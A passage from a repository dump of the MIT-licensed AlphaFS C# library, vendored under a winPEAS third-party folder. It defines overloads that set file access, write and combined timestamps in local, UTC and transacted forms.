BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc) { SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastAccessTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last accessed. /// The transaction. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to. /// The transaction. /// The file for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestamps.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets all the date and time stamps, in coordinated 